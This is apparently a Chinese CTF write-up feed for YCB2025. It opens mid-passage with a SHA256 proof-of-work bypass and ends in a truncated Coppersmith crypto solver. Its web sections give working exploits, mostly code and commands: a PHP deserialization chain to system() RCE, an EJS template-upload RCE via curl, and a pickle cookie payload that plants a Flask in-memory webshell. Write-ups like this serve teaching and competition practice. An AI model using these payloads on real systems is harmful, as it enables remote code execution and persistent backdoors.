要求 20 个十六进制 &lt;code&gt;0&lt;/code&gt;，即 $16^{20}$ 次尝试，这在计算上是不可能通过普通暴力破解完成的。这暗示我们需要利用现有的、已经经过大量算力计算的结果。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 比特币挖矿原理&lt;/strong&gt;
比特币挖矿的过程就是寻找一个区块头（Block Header），使得其双重 SHA256 哈希值满足一定的难度目标（即小于某个特定的数值）。
比特币的哈希算法是：&lt;code&gt;Block_Hash = SHA256(SHA256(Block_Header))&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在比特币浏览器（如 Blockchain.com）上，区块哈希通常以 &lt;strong&gt;大端序（Big-Endian）&lt;/strong&gt; 显示，看起来像这样：
&lt;code&gt;000000000000000000002db501835dd1ea3faea87ee8feb42a304c2c44a8e7fc&lt;/code&gt;
可以看到它以大量的 &lt;code&gt;0&lt;/code&gt; &lt;strong&gt;开头&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 字节序的转换&lt;/strong&gt;
关键点在于：比特币协议内部以及标准 SHA256 算法产生的字节流，与浏览器显示的十六进制字符串是 &lt;strong&gt;字节反序&lt;/strong&gt; 的关系。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;浏览器显示 (ID)&lt;/strong&gt;: &lt;code&gt;00 00 ... 00 2d b5 ...&lt;/code&gt; (Leading Zeros)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;实际内存/SHA256结果&lt;/strong&gt;: &lt;code&gt;... b5 2d 00 ... 00 00&lt;/code&gt; (Trailing Zeros!)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这意味着，任何一个在浏览器上显示拥有 20 个 &lt;strong&gt;前导零&lt;/strong&gt; 的比特币区块，其真实的 SHA256 哈希字节流都拥有 20 个 &lt;strong&gt;后尾零&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 构造 Payload&lt;/strong&gt;
服务端执行的检查是 &lt;code&gt;SHA256(data)&lt;/code&gt;。
我们需要 &lt;code&gt;SHA256(data)&lt;/code&gt; 结尾为 20 个 &lt;code&gt;0&lt;/code&gt;。
已知比特币区块满足：&lt;code&gt;SHA256(SHA256(Block_Header))&lt;/code&gt; 结尾为 20 个 &lt;code&gt;0&lt;/code&gt;（在字节流层面）。
因此，如果我们让 &lt;code&gt;data = SHA256(Block_Header)&lt;/code&gt;，那么服务端计算的 &lt;code&gt;SHA256(data)&lt;/code&gt; 就等于比特币的区块哈希，从而满足条件。&lt;/p&gt;
&lt;p&gt;我们称 &lt;code&gt;SHA256(Block_Header)&lt;/code&gt; 为 &lt;strong&gt;Midstate&lt;/strong&gt;（中间状态）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. 实施步骤&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;选取区块&lt;/strong&gt;: 找到一个难度足够高的比特币区块（前导零超过 20 个）。例如区块高度 &lt;code&gt;924457&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;获取区块头信息&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Version: &lt;code&gt;1040187392&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Prev Hash: &lt;code&gt;000000000000000000015d733e8cb8b1ee5388de1cc0ed13fb4628ccbdcd08af&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Merkle Root: &lt;code&gt;57afe432455f6800b001fec53eb1ab58e68d69ef837683635b17b0e7a38a0e96&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Time: &lt;code&gt;1763664997&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Bits: &lt;code&gt;1701d936&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Nonce: &lt;code&gt;1627458621&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重构区块头&lt;/strong&gt;: 按照比特币协议（Little-Endian）将上述字段拼接成 80 字节的二进制数据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;计算 Midstate&lt;/strong&gt;: 对区块头进行一次 SHA256。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提交 Payload&lt;/strong&gt;: 将 Midstate 进行 Base64 编码提交给服务器。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import hashlib
import struct
import binascii
import base64
import requests

# 目标区块: 924457
# 浏览器显示 Hash: 000000000000000000002db501835dd1ea3faea87ee8feb42a304c2c44a8e7fc

# 1. 构造区块头 (注意字节序转换)
version = 1040187392
prev_hash = &quot;000000000000000000015d733e8cb8b1ee5388de1cc0ed13fb4628ccbdcd08af&quot;
merkle_root = &quot;57afe432455f6800b001fec53eb1ab58e68d69ef837683635b17b0e7a38a0e96&quot;
time_val = 1763664997
bits = &quot;1701d936&quot;
nonce = 1627458621

header = b&quot;&quot;
header += struct.pack(&quot;&amp;lt;I&quot;, version)
header += binascii.unhexlify(prev_hash)[::-1]
header += binascii.unhexlify(merkle_root)[::-1]
header += struct.pack(&quot;&amp;lt;I&quot;, time_val)
header += binascii.unhexlify(bits)[::-1]
header += struct.pack(&quot;&amp;lt;I&quot;, nonce)

# 2. 计算 Payload (Midstate)
# data = SHA256(Header)
midstate = hashlib.sha256(header).digest()

# 3. 发送请求
# 服务端将计算 SHA256(data) -&amp;gt; 即 Block Hash (Little Endian Bytes) -&amp;gt; 结尾全是0
payload_b64 = base64.b64encode(midstate).decode()
print(f&quot;Payload: {payload_b64}&quot;)

url = &quot;http://47.107.165.153:45552/&quot;
r = requests.get(url, params={&quot;data&quot;: payload_b64})
print(r.text)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>YCB2025</title><link>https://sinqwq.top/posts/%E7%BE%8A%E5%9F%8E%E6%9D%AF2025/</link><guid isPermaLink="true">https://sinqwq.top/posts/%E7%BE%8A%E5%9F%8E%E6%9D%AF2025/</guid><description>YCB2025</description><pubDate>Sat, 11 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Web&lt;/h1&gt;
&lt;h2&gt;ez_unserialize&lt;/h2&gt;
&lt;p&gt;思路：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;H::__destruct()&lt;/code&gt;&lt;/strong&gt;: 脚本结束时自动触发。它调用 &lt;code&gt;$this-&amp;gt;who-&amp;gt;start()&lt;/code&gt;。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;构造&lt;/strong&gt;: 创建一个 &lt;code&gt;H&lt;/code&gt; 对象，并将其 &lt;code&gt;$who&lt;/code&gt; 属性设置为一个 &lt;code&gt;A&lt;/code&gt; 类的对象。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;A::start()&lt;/code&gt;&lt;/strong&gt;: 被上一步调用。它执行 &lt;code&gt;echo $this-&amp;gt;next;&lt;/code&gt;，这将触发 &lt;code&gt;$next&lt;/code&gt; 对象的 &lt;code&gt;__toString()&lt;/code&gt; 方法。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;构造&lt;/strong&gt;: 将 &lt;code&gt;A&lt;/code&gt; 对象的 &lt;code&gt;$next&lt;/code&gt; 属性设置为一个 &lt;code&gt;V&lt;/code&gt; 类的对象。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;V::__toString()&lt;/code&gt;&lt;/strong&gt;: 被上一步调用。它执行 &lt;code&gt;$this-&amp;gt;go-&amp;gt;$abc;&lt;/code&gt; (其中 &lt;code&gt;$abc = $this-&amp;gt;dowhat&lt;/code&gt;)。为了触发 &lt;code&gt;E::__get()&lt;/code&gt;，我们需要让它尝试访问一个 &lt;code&gt;E&lt;/code&gt; 对象的私有属性。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;构造&lt;/strong&gt;: 将 &lt;code&gt;V&lt;/code&gt; 对象的 &lt;code&gt;$go&lt;/code&gt; 属性设置为一个 &lt;code&gt;E&lt;/code&gt; 类的对象，并将其 &lt;code&gt;$dowhat&lt;/code&gt; 属性设置为字符串 &lt;code&gt;&quot;secret&quot;&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;E::__get()&lt;/code&gt;&lt;/strong&gt;: 当 &lt;code&gt;V&lt;/code&gt; 尝试访问 &lt;code&gt;E&lt;/code&gt; 的私有属性 &lt;code&gt;secret&lt;/code&gt; 时被触发。代码检查 &lt;code&gt;$name&lt;/code&gt; 是否为 &lt;code&gt;&quot;secret&quot;&lt;/code&gt;，如果是，则调用 &lt;code&gt;$this-&amp;gt;found-&amp;gt;check()&lt;/code&gt;。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;构造&lt;/strong&gt;: 将 &lt;code&gt;E&lt;/code&gt; 对象的 &lt;code&gt;$found&lt;/code&gt; 属性设置为一个 &lt;code&gt;F&lt;/code&gt; 类的对象。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;F::check()&lt;/code&gt;&lt;/strong&gt;: 被上一步调用。它会 &lt;code&gt;new $this-&amp;gt;finalstep()&lt;/code&gt; 并调用 &lt;code&gt;__invoke()&lt;/code&gt;。我们的目标是实例化 &lt;code&gt;U&lt;/code&gt; 类。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;关键绕过&lt;/strong&gt;: 这里有 &lt;code&gt;preg_match(&quot;/U/&quot;, ...)&lt;/code&gt; 检查。由于 PHP 的类名不区分大小写，我们可以将 &lt;code&gt;$finalstep&lt;/code&gt; 设置为小写的 &lt;code&gt;&quot;u&quot;&lt;/code&gt; 来绕过这个检查。&lt;code&gt;new &quot;u&quot;()&lt;/code&gt; 依然会成功创建 &lt;code&gt;U&lt;/code&gt; 类的实例。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;构造&lt;/strong&gt;: 将 &lt;code&gt;F&lt;/code&gt; 对象的 &lt;code&gt;$finalstep&lt;/code&gt; 属性设置为字符串 &lt;code&gt;&quot;u&quot;&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;U::__invoke()&lt;/code&gt;&lt;/strong&gt;: 当 &lt;code&gt;F&lt;/code&gt; 类中的新对象被 &lt;code&gt;()&lt;/code&gt; 调用时触发，最终执行 &lt;code&gt;system($_POST[&apos;cmd&apos;])&lt;/code&gt;，达成 RCE。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

// 声明所有需要用到的类
class A {
    public $first;
    public $step;
    public $next;
}
class E {
    public $found;
    private $you;
    private $secret;
}
class F {
    public $fifth;
    public $step;
    public $finalstep;
}
class H {
    public $who;
    public $are;
    public $you;
}
class V {
    public $good;
    public $keep;
    public $dowhat;
    public $go;
}
// N 和 U 类在服务器端被调用，payload中不需要它们的实例
class N {}
class U {}


// 1. 创建链条中的所有对象实例
$h = new H();
$a = new A();
$v = new V();
$e = new E();
$f = new F();

// 2. 按照攻击链设置对象的属性
$h-&amp;gt;who = $a;
$a-&amp;gt;next = $v;
$v-&amp;gt;go = $e;
$v-&amp;gt;dowhat = &quot;secret&quot;; // 触发 E::__get(&quot;secret&quot;)
$e-&amp;gt;found = $f;
$f-&amp;gt;finalstep = &quot;u&quot;;   // 大小写绕过 preg_match

// 3. 序列化顶层对象并进行 URL 编码
$payload = serialize($h);
echo &quot;Your Payload:\n\n&quot;;
echo urlencode($payload);

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST \
  -d &apos;payload=PAYLOAD_STRING&apos; \
  -d &apos;cmd=ls -la /&apos; \
  http://target.com/challenge.php
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;staticNodeService&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;目录索引渲染函数允许通过 &lt;code&gt;templ&lt;/code&gt; 参数指定模板名并调用 &lt;code&gt;res.render(templ, ...)&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;静态文件服务：&lt;code&gt;express.static(STATIC_DIR)&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;安全中间件仅检查 &lt;code&gt;req.path&lt;/code&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;阻止了 &lt;code&gt;..&lt;/code&gt;（目录穿越）&lt;/li&gt;
&lt;li&gt;阻止了以 &lt;code&gt;js&lt;/code&gt; 结尾的路径（&lt;code&gt;/js$/&lt;/code&gt;），企图防止 &lt;code&gt;.ejs&lt;/code&gt;（字符串最后两字节是 &lt;code&gt;js&lt;/code&gt;）的写入&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;上传接口：&lt;code&gt;PUT /*&lt;/code&gt; 可以将 &lt;code&gt;req.body.content&lt;/code&gt;（base64）写入到 &lt;code&gt;STATIC_DIR + req.path&lt;/code&gt; 指定的任意路径。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;模板名 &lt;code&gt;templ&lt;/code&gt; 完全由用户控制并传入 &lt;code&gt;res.render&lt;/code&gt;，若能在 &lt;code&gt;views&lt;/code&gt; 目录中放置恶意 EJS 模板，即可在渲染时执行任意 JS。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;上传接口允许向任意路径写入；但安全中间件阻止了 &lt;code&gt;req.path&lt;/code&gt; 以 &lt;code&gt;js&lt;/code&gt; 结尾，导致直接写入 &lt;code&gt;*.ejs&lt;/code&gt; 会被拒绝。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;结合路径归一化与客户端路径传递策略，可以在服务端“落地一个真正的 &lt;code&gt;.ejs&lt;/code&gt; 文件”，随后通过 &lt;code&gt;templ&lt;/code&gt; 正常渲染，从而 RCE 并读取 &lt;code&gt;/flag&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;构造恶意 EJS 模板（读取 flag）：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;%- global.process.mainModule.require(&apos;child_process&apos;).execSync(&apos;/readflag&apos;).toString() %&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将其进行 base64 编码（示例用 Python）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 - &amp;lt;&amp;lt;&apos;PY&apos;
import base64
payload = &quot;&amp;lt;%- global.process.mainModule.require(&apos;child_process&apos;).execSync(&apos;/readflag&apos;).toString() %&amp;gt;&quot;
print(base64.b64encode(payload.encode()).decode())
PY
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;示例输出（缩写）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKS50b1N0cmluZygpICU+
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;利用路径构造与 &lt;code&gt;--path-as-is&lt;/code&gt;，将恶意模板写入为真 &lt;code&gt;.ejs&lt;/code&gt; 文件：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;curl --path-as-is -i -s -X PUT &apos;http://45.40.247.139:22915/views/read.ejs/.&apos; \
  -H &apos;Content-Type: application/json&apos; \
  --data &apos;{&quot;content&quot;:&quot;PCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKS50b1N0cmluZygpICU+&quot;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;预期返回：&lt;code&gt;201 Created&lt;/code&gt;（文件已写入）。随后访问 &lt;code&gt;/views/&lt;/code&gt; 可见 &lt;code&gt;read.ejs&lt;/code&gt;（不带尾点）。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;触发渲染并回显 flag：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;curl -s &apos;http://45.40.247.139:22915/views/?templ=read.ejs&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;EZ Blog&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;初始访问与信息搜集&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;首先，我们访问博客首页。根据页面上的提示信息“访客只能用访客账号登录哦！”，我们可以尝试常见的弱口令组合。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;用户名&lt;/strong&gt;: &lt;code&gt;guest&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;密码&lt;/strong&gt;: &lt;code&gt;guest&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用这组凭证成功登录系统。登录后，我们检查浏览器存储的 Cookies，发现一个名为 &lt;code&gt;Token&lt;/code&gt; 的 Cookie，其值非常可疑：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;漏洞分析：Python 反序列化&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这串看似随机的字符串实际上是十六进制编码的。我们对其进行 Hex 解码，得到的结果是以 &lt;code&gt;\x80\x04&lt;/code&gt; 开头的字节流，这是 Python &lt;code&gt;pickle&lt;/code&gt; 模块序列化数据的典型特征（协议版本4）。&lt;/p&gt;
&lt;p&gt;我们可以通过简单的 Python 脚本来验证其内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import pickle
import binascii

hex_cookie = &quot;8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e&quot;
decoded_cookie = binascii.unhexlify(hex_cookie)

# 为了能成功反序列化，需要定义一个占位符类
class User:
    pass
# 还需要告诉 pickle User 类在哪个模块下
import sys
sys.modules[&apos;app&apos;] = sys.modules[&apos;__main__&apos;]

deserialized_object = pickle.loads(decoded_cookie)
print(deserialized_object.__dict__)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出结果为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&apos;id&apos;: 2, &apos;username&apos;: &apos;guest&apos;, &apos;is_admin&apos;: False, &apos;logged_in&apos;: True}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这证实了我们的猜想：服务器通过反序列化 Cookie 来验证用户身份，并且存在明显的 &lt;strong&gt;Python 反序列化漏洞&lt;/strong&gt;。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;漏洞利用：注入内存马&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;由于题目环境&lt;strong&gt;不出网&lt;/strong&gt;，我们无法使用反弹 Shell。因此，最佳策略是注入一个&lt;strong&gt;内存马&lt;/strong&gt;，在服务器应用内部创建一个后门。&lt;/p&gt;
&lt;p&gt;一个巧妙的思路是&lt;strong&gt;劫持 Flask 应用的 404 错误处理器&lt;/strong&gt;。当用户访问任何不存在的页面时，我们的恶意代码就会被触发。&lt;/p&gt;
&lt;p&gt;以下是用于生成恶意 Payload 的 Python 脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import os
import pickle
import binascii
from flask import request # 模拟导入，实际在服务器上运行

# 定义恶意类，其 __reduce__ 方法将在反序列化时被调用
class Exploit:
    def __reduce__(self):
        # 这段代码会找到并替换 Flask 应用的 404 错误处理器
        # 新的处理器会执行 URL 参数 `cmd` 传入的命令
        command = (
            &quot;global app, request; &quot;
            &quot;exc_class, code = app._get_exc_class_and_code(404); &quot;
            &quot;app.error_handler_spec[None][code][exc_class] = &quot;
            &quot;lambda e: __import__(&apos;os&apos;).popen(request.args.get(&apos;cmd&apos;)).read()&quot;
        )
        return (exec, (command,))

# 实例化恶意类
payload_obj = Exploit()

# 序列化并进行 hex 编码
pickled_data = pickle.dumps(payload_obj)
hex_payload = binascii.hexlify(pickled_data).decode()

print(&quot;请将以下 Payload 替换到你的 Token Cookie 中:&quot;)
print(hex_payload)
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;触发 Payload 并获取 RCE&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;运行上述脚本，复制生成的十六进制 Payload。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在浏览器开发者工具中，将 &lt;code&gt;Token&lt;/code&gt; Cookie 的值替换为这个新的 Payload。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;访问 &lt;code&gt;/add&lt;/code&gt; 页面&lt;/strong&gt;。这是一个需要身份验证的页面，因此服务器会尝试反序列化我们的 Cookie，从而触发 &lt;code&gt;__reduce__&lt;/code&gt; 方法，成功注入内存马。此时页面可能会报错，这是正常现象。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;内存马注入成功后，我们就可以通过访问任意不存在的页面来执行命令了。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;http://&amp;lt;题目地址&amp;gt;/404?cmd=ls&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Crypto&lt;/h1&gt;
&lt;h2&gt;Random&lt;/h2&gt;
&lt;p&gt;设存在连续三位为 0 的比特（靠近序列尾部较易出现）：&lt;/p&gt;
&lt;p&gt;令对应的三个密文为&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;c1 = y^2 (mod n)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c2 = (y + d1)^2 (mod n)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c3 = (y + d1 + d2)^2 (mod n)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其中 &lt;code&gt;d1, d2&lt;/code&gt; 都是不超过 &lt;code&gt;2^48&lt;/code&gt; 的小整数。&lt;/p&gt;
&lt;p&gt;记差值：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;a = (c2 - c1) mod n = 2*y*d1 + d1^2 (mod n)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;b = (c3 - c1) mod n = 2*y*(d1 + d2) + (d1 + d2)^2 (mod n)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;消去未知 &lt;code&gt;y&lt;/code&gt; 可以得到关于 &lt;code&gt;d1, d2&lt;/code&gt; 的方程：
(a - d_1^2) (d_1 + d_2) - d_1 \big(b - (d_1 + d_2)^2\big) \equiv 0 \pmod{n}&lt;/p&gt;
&lt;p&gt;由于 &lt;code&gt;d1, d2&lt;/code&gt; 很小（上界约 &lt;code&gt;2^48&lt;/code&gt;），可将其视为“多变量小根”，使用 Coppersmith 方法在模 &lt;code&gt;n&lt;/code&gt; 的多项式环中寻找小根 &lt;code&gt;(d1, d2)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;一旦得到 &lt;code&gt;d1&lt;/code&gt;，即可恢复 &lt;code&gt;y&lt;/code&gt;：
2&lt;em&gt;y&lt;/em&gt;d_1 + d_1^2 \equiv a \pmod{n} \quad\Rightarrow\quad y \equiv (a - d_1^2) \cdot (2d_1)^{-1} \pmod{n}&lt;/p&gt;
&lt;p&gt;之后，继续向前逐位判断下一位是 0 还是 1：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;假设下一位是 0：尝试解一元小根 &lt;code&gt;(y - d)^2 \equiv c_{next} (mod\ n)&lt;/code&gt;，若存在小根 &lt;code&gt;d&lt;/code&gt;（界 &lt;code&gt;2^48&lt;/code&gt;），则确认为 0，并更新 &lt;code&gt;y ← y - d&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;若无解，则该位为 1。此时 &lt;code&gt;(y - d)^2 \equiv c_{next} * x^{-1} (mod\ n)&lt;/code&gt;，再求小根并更新 &lt;code&gt;y&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这样即可依次恢复整段比特串，进而转为字节得到明文。&lt;/p&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;from sage.all import *
import itertools
import ast
from Crypto.Util.number import long_to_bytes


def small_roots_multivariate(f, bounds, m=2, d=None):
    &quot;&quot;&quot;
    Multivariate Coppersmith small roots, adapted from the approach in the writeup.
    f: polynomial over Zmod(N) in multiple variables
    bounds: tuple of bounds (B1, B2, ...)
    m: lattice parameter (default 2)
    d: degree parameter (default: total degree of f)
    Returns list of tuples (r1, r2, ...) in Zmod(N) representing small roots.
    &quot;&quot;&quot;
    if d is None:
        d = f.degree()
    R = f.base_ring()
    N = R.cardinality()
    # Normalize leading coefficient
    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)
    G = Sequence([], f.parent())
    for i in range(m + 1):
        base = (N ** (m - i)) * (f ** i)
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod([v**s for v, s in zip(f.variables(), shifts)])
            G.append(g)
    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)
    # Scale columns by bounds
    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)
    B = B.dense_matrix().LLL()
    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)
    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                tup = tuple(R(root[var]) for var in f.variables())
                roots.append(tup)
            if roots:
                return roots
    return []


def find_initial_y(n, x, enc, max_scan=32):
    &quot;&quot;&quot;
    Try to locate a valid (d1, d2, y) near the end of enc by scanning windows
    of three consecutive ciphertexts assuming three consecutive 0-bits.
    Returns (y, d1_int, offset) where offset &amp;gt;= 0 indicates the shift from the last window.
    &quot;&quot;&quot;
    for offset in range(0, min(max_scan, len(enc) - 3)):
        # We use enc[-(offset+4)], enc[-(offset+3)], enc[-(offset+2)] as c1, c2, c3
        c1 = enc[-(offset + 4)]
        c2 = enc[-(offset + 3)]
        c3 = enc[-(offset + 2)]
        a = (c2 - c1) % n
        b = (c3 - c1) % n
        R = PolynomialRing(Zmod(n), names=(&quot;d1&quot;, &quot;d2&quot;), implementation=&apos;generic&apos;)
        d1_sym, d2_sym = R.gens()
        f = (a - d1_sym**2) * (d1_sym + d2_sym) - d1_sym * (b - (d1_sym + d2_sym)**2)
        res = small_roots_multivariate(f, (2**48, 2**48), m=2, d=3)
        if not res:
            continue
        # Filter candidates: d1 != 0 and invertible modulo n, and y verifies c1
        for (d1_val, d2_val) in res:
            d1_int = int(d1_val)
            if d1_int == 0:
                continue
            if gcd(2 * d1_int, n) != 1:
                continue
            try:
                y = ((a - pow(d1_int, 2, n)) * inverse_mod(2 * d1_int, n)) % n
            except ZeroDivisionError:
                continue
            if pow(y, 2, n) == c1:
                return y, d1_int, offset
        # If none candidate passes, continue scanning
    raise ValueError(&quot;Failed to locate a valid initial (d1, d2, y). Try increasing max_scan or check assumptions.&quot;)


def recover(n, x, enc):
    # Locate initial y based on three consecutive 0-bits near the end
    y, d1_int, offset = find_initial_y(n, x, enc)

    # Determine the bit right before the triple zeros (optional); we&apos;ll follow the original writeup flow
    # Build bitstring starting from the assumed pattern; we keep &apos;1000&apos; as in writeup for compatibility
    m_bits = &apos;1000&apos;
    for i in range(4 + offset, len(enc)):
        R1 = PolynomialRing(Zmod(n), names=(&quot;d&quot;,))
        d = R1.gens()[0]
        # Try next bit as 0 first
        f0 = (y - d)**2 - enc[-(i+1)]
        roots0 = f0.monic().small_roots(X=2**48)
        if roots0:
            m_bits += &apos;0&apos;
            y = (y - int(roots0[0])) % n
        else:
            # Otherwise, treat as bit 1
            m_bits += &apos;1&apos;
            f1 = (y - d)**2 - (enc[-(i+1)] * inverse_mod(x, n))
            roots1 = f1.monic().small_roots(X=2**48)
            if not roots1:
                raise ValueError(&quot;Failed to find small root for next step; check assumptions or data.&quot;)
            y = (y - int(roots1[0])) % n

    m_int = int(m_bits, 2)
    m_bytes = long_to_bytes(m_int)
    return m_bytes, m_bits


def parse_output(path):
    with open(path, &apos;r&apos;) as f:
        lines = f.read().strip().splitlines()
    # Expecting format:
    # n = &amp;lt;int&amp;gt;
    # x = &amp;lt;int&amp;gt;
    # enc = [list]
    n = int(lines[0].split(&apos;=&apos;, 1)[1].strip())
    x = int(lines[1].split(&apos;=&apos;, 1)[1].strip())
    enc_str = lines[2].split(&apos;=&apos;, 1)[1].strip()
    enc = ast.literal_eval(enc_str)
    return n, x, enc


def main():
    n, x, enc = parse_output(&apos;output.txt&apos;)
    m_bytes, m_bits = recover(n, x, enc)
    print(&quot;Recovered bits:&quot;, m_bits)
    print(&quot;Recovered message:&quot;, m_bytes)


